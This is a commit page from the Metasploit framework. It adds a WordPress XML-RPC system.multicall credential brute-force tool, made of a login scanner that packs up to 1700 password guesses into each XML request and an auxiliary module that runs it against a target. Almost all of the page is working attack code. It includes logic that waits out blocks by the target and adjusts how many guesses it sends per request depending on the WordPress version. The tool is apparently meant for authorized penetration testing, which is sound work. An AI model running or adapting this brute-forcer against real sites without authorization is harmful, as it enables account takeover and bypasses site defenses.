Skip to content

Commit 6187354

Browse files
committed
Land rapid7#6226, Add Wordpress XML-RPC system.multicall Credential BF
2 parents d6facbe + 064af0d commit 6187354

File tree

5 files changed

+396
-2
lines changed

5 files changed

+396
-2
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
require 'nokogiri'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class WordpressMulticall < HTTP
9+
10+
# @!attribute passwords
11+
# @return [Array]
12+
attr_accessor :passwords
13+
14+
# @!attribute chunk_size, limits number of passwords per XML request
15+
# @return [Fixnum]
16+
attr_accessor :chunk_size
17+
18+
# @!attribute block_wait, time to wait if got blocked by the target
19+
# @return [Fixnum]
20+
attr_accessor :block_wait
21+
22+
# @!attribute base_uri
23+
# @return [String]
24+
attr_accessor :base_uri
25+
26+
# @!attribute wordpress_url_xmlrpc
27+
# @return [String]
28+
attr_accessor :wordpress_url_xmlrpc
29+
30+
31+
def set_default
32+
self.wordpress_url_xmlrpc = 'xmlrpc.php'
33+
self.block_wait = 6
34+
self.base_uri = '/'
35+
self.chunk_size = 1700
36+
end
37+
38+
# Returns the XML data that is used for the login.
39+
#
40+
# @param user [String] username
41+
# @return [Array]
42+
def generate_xml(user)
43+
xml_payloads = []
44+
45+
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
46+
# Wordpress limitation which is 1700 maximum.
47+
passwords.each_slice(chunk_size) do |pass_group|
48+
document = Nokogiri::XML::Builder.new do |xml|
49+
xml.methodCall {
50+
xml.methodName("system.multicall")
51+
xml.params {
52+
xml.param {
53+
xml.value {
54+
xml.array {
55+
xml.data {
56+
pass_group.each do |pass|
57+
xml.value {
58+
xml.struct {
59+
xml.member {
60+
xml.name("methodName")
61+
xml.value { xml.string("wp.getUsersBlogs") }}
62+
xml.member {
63+
xml.name("params")
64+
xml.value {
65+
xml.array {
66+
xml.data {
67+
xml.value {
68+
xml.array {
69+
xml.data {
70+
xml.value { xml.string(user) }
71+
xml.value { xml.string(pass) }
72+
}}}}}}}}}
73+
end
74+
}}}}}}
75+
end
76+
xml_payloads << document.to_xml
77+
end
78+
79+
xml_payloads
80+
end
81+
82+
# Sends an HTTP request to Wordpress.
83+
#
84+
# @param xml [String] XML data.
85+
# @return [void]
86+
def send_wp_request(xml)
87+
opts =
88+
{
89+
'method' => 'POST',
90+
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
91+
'data' => xml,
92+
'ctype' =>'text/xml'
93+
}
94+
95+
client = Rex::Proto::Http::Client.new(rhost)
96+
client.connect
97+
req = client.request_cgi(opts)
98+
res = client.send_recv(req)
99+
100+
if res && res.code != 200
101+
sleep(block_wait * 60)
102+
end
103+
104+
@res = res
105+
end
106+
107+
108+
# Attempts to login.
109+
#
110+
# @param credential [Metasploit::Framework::Credential]
111+
# @return [Metasploit::Framework::LoginScanner::Result]
112+
def attempt_login(credential)
113+
generate_xml(credential.public).each do |xml|
114+
send_wp_request(xml)
115+
req_xml = Nokogiri::Slop(xml)
116+
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
117+
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
118+
result = value.at("struct/member/value/int")
119+
if result.nil?
120+
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
121+
credential.private = pass
122+
result_opts = {
123+
credential: credential,
124+
host: host,
125+
port: port,
126+
protocol: 'tcp'
127+
}
128+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
129+
return Result.new(result_opts)
130+
end
131+
end
132+
end
133+
134+
result_opts = {
135+
credential: credential,
136+
host: host,
137+
port: port,
138+
protocol: 'tcp'
139+
}
140+
141+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
142+
return Result.new(result_opts)
143+
end
144+
145+
end
146+
end
147+
end
148+
end
149+
150+

lib/metasploit/framework/login_scanner/wordpress_rpc.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,4 +78,3 @@ def set_sane_defaults
7878
end
7979
end
8080

81-
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/credential_collection'
8+
require 'metasploit/framework/login_scanner/wordpress_multicall'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HTTP::Wordpress
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Report
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
20+
'Description' => %q{
21+
This module attempts to find Wordpress credentials by abusing the XMLRPC
22+
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
23+
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
24+
},
25+
'Author' =>
26+
[
27+
'KingSabri <King.Sabri[at]gmail.com>' ,
28+
'William <WCoppola[at]Lares.com>',
29+
'sinn3r'
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
35+
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
36+
],
37+
'DefaultOptions' =>
38+
{
39+
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
40+
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
41+
}
42+
))
43+
44+
register_options(
45+
[
46+
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
47+
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
48+
], self.class)
49+
50+
# Not supporting these options, because we are not actually letting the API to process the
51+
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
52+
deregister_options(
53+
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
54+
)
55+
end
56+
57+
def passwords
58+
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
59+
end
60+
61+
def check_options
62+
if datastore['CHUNKSIZE'] > 1700
63+
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
64+
end
65+
end
66+
67+
def setup
68+
check_options
69+
end
70+
71+
def check_setup
72+
version = wordpress_version
73+
vprint_status("Found Wordpress version: #{version}")
74+
75+
if !wordpress_and_online?
76+
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
77+
false
78+
elsif !wordpress_xmlrpc_enabled?
79+
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
80+
false
81+
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
82+
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
83+
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
84+
datastore['CHUNKSIZE'] = 1
85+
true
86+
else
87+
print_status("Target #{peer} is running Wordpress")
88+
true
89+
end
90+
end
91+
92+
def run_host(ip)
93+
if check_setup
94+
print_status("XMLRPC enabled, Hello message received!")
95+
else
96+
print_error("Abborting the attack.")
97+
return
98+
end
99+
100+
print_status("#{peer} - Starting XML-RPC login sweep...")
101+
102+
cred_collection = Metasploit::Framework::CredentialCollection.new(
103+
blank_passwords: true,
104+
user_file: datastore['USER_FILE'],
105+
username: datastore['USERNAME']
106+
)
107+
108+
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
109+
configure_http_login_scanner(
110+
passwords: passwords,
111+
chunk_size: datastore['CHUNKSIZE'],
112+
block_wait: datastore['BLOCKEDWAIT'],
113+
base_uri: target_uri.path,
114+
uri: wordpress_url_xmlrpc,
115+
cred_details: cred_collection,
116+
stop_on_success: datastore['STOP_ON_SUCCESS'],
117+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
118+
connection_timeout: 5,
119+
)
120+
)
121+
122+
scanner.scan! do |result|
123+
credential_data = result.to_h
124+
credential_data.merge!(
125+
module_fullname: self.fullname,
126+
workspace_id: myworkspace_id
127+
)
128+
129+
case result.status
130+
when Metasploit::Model::Login::Status::SUCCESSFUL
131+
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
132+
end
133+
end
134+
135+
end
136+
137+
end

0 commit comments

Comments
 (0)